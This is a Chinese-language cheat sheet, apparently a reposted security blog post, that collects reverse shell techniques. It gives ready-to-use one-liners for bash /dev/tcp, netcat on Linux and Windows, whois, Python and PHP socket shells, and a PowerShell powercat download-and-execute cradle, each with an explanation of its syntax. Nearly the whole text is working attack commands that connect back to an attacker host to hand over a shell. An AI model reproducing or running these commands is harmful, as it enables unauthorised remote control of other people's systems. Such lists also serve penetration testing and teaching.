LemonSec - 常用反彈shell方法總結－鑽石舞台

0x01bash反彈shell

bash -i >&/dev/tcp/1.1.1.1/9999 0>&1

解釋：bash -i [interface] 表示啟動shell窗口>表示將這個窗口重定向到指定的地方，也就是將輸出交給後面&表示將該命令轉到後台執行 (我看其他文章也有將&解釋成等同於的，如2>&1 就表示stderr標準錯誤重定向為等同於stdout標準輸出）/dev/tcp/x.x.x.x/port表示發出一個socket調用，建立一個socket連接，讀寫這個文件等同於socket連接中傳輸數據.x.x.x.x表示要反彈到的主機的ip,port為端口（同理linux中還存在/dev/udp）0表示stdin標準輸入1表示stdout標準輸出2表示stderr標準錯誤輸出0>&1表示將標準輸入重定向到標準輸出

0x02nc反彈shell

1.nc彈linux的shell: nc -e /bin/bash 1.1.1.1 9999

nc -e 表示連接成功後執行的程序nc -e /bin/bash表示連接到遠程之後執行shell, 並反彈

2. 如果linux中nc沒有-e參數

（1）nc x.x.x.x 4444 | /bin/bash | nc x.x.x.x 5555#從4444端口獲取到命令，bash 運行後將命令執行結果返回 5555 端口，攻擊者主機上也是打開兩個終端分別執行監聽。

（2）nc -c /bin/bash x.x.x.x 4444

（3）/bin/sh | nc x.x.x.x 4444

0x03nc彈windows下的shell

windows端需要下載nc.exe 戳這：https://eternallybored.org/misc/netcat/【報毒，建議虛擬機下載】

攻擊機監聽：nc -lvp 7777windows端反彈shell：nc x.x.x.x 7777 -e c:\windows\system32\cmd.exe

0x03whois反彈shell

whois -h x.x.x.x -p 9999 `whoami`

#但是反彈的shell只能執行後面帶的命令

0x04常見腳本反彈

1、python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

解釋：import socket,subprocess,os#導入模塊,其中subprocess庫用來提供強大的進程創建接口，還可以提供多種與客戶端程序交互的方法。s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) #SOCK_STREAM表示創建一個TCP連接s.connect(("x.x.x.x",5555))os.dup2(s.fileno(),0)#os.dup2表示將一個文件描述符複製到另一個文件描述符，fileno()表示將文件流指針轉換成文件描述符，s.fileno表示返回socket的文件描述符，這行代碼表示將s.fileno()表示的文件傳遞到0指向的文件，0即我們之前所說的stdin標準輸入os.dup2(s.fileno(),1) #同理，1表示stdout標準輸出os.dup2(s.fileno(),2)#同理，2表示stderr標準錯誤輸出p=subprocess.call(["/bin/bash","-i"]); #表示運行/bin/bash -i, subprocess.call執行命令時不使用空格，用""分開

2、php

php -r '$sock=fsockopen("x.x.x.x",5555);exec("/bin/bash -i <&3 >&3 2>&3");'

【註：php的fsockopen使用需要php.ini中allow_url_fopen = On】

php -r $sock=fsockopen("x.x.x.x",5555);//fsockopen用來打開一個網絡連接或者一個Unix套接字連接exec("/bin/bash -i <&3 >&3 2>&3");//文件描述符都是遞增的，則創建新的文件描述符之後其大小為3，所以直接將0，1，2重定向3。0,1,2的含義我們上文反覆提到//可以寫成exec("/bin/bash -i 0<&3 1>$3 2>&3");還有一些其他腳本反彈shell可以參考烏雲滴文章：https://mp.weixin.qq.com/s/AnvJIRX9hx4g4gg8Er_O4g一些文件描述符的理解可以kk這個：https://zhuanlan.zhihu.com/p/109053744

0x05powercat反彈shell

powercat是netcat的powershell版本，

下載地址：https://github.com/besimorhino/powercat （需要fq）

兩種用法：

（1）下載腳本，powershell本地運行

Import-Module .\powercat.ps1

powercat -c 攻擊機IP -p 端口 -e cmd

（2）從url下載使用

powershell運行: (cmd的話命令前面加個powershell一樣的)IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1') ; powercat -c 攻擊機ip -p 端口 -e cmd【這裡先下載ps1腳本到自己搭的服務器，再運行powershellIEX (New-Object System.Net.Webclient).DownloadString('https://10.x.x.x/powercat.ps1') ; powercat -c 攻擊機ip -p 端口 -e cmd】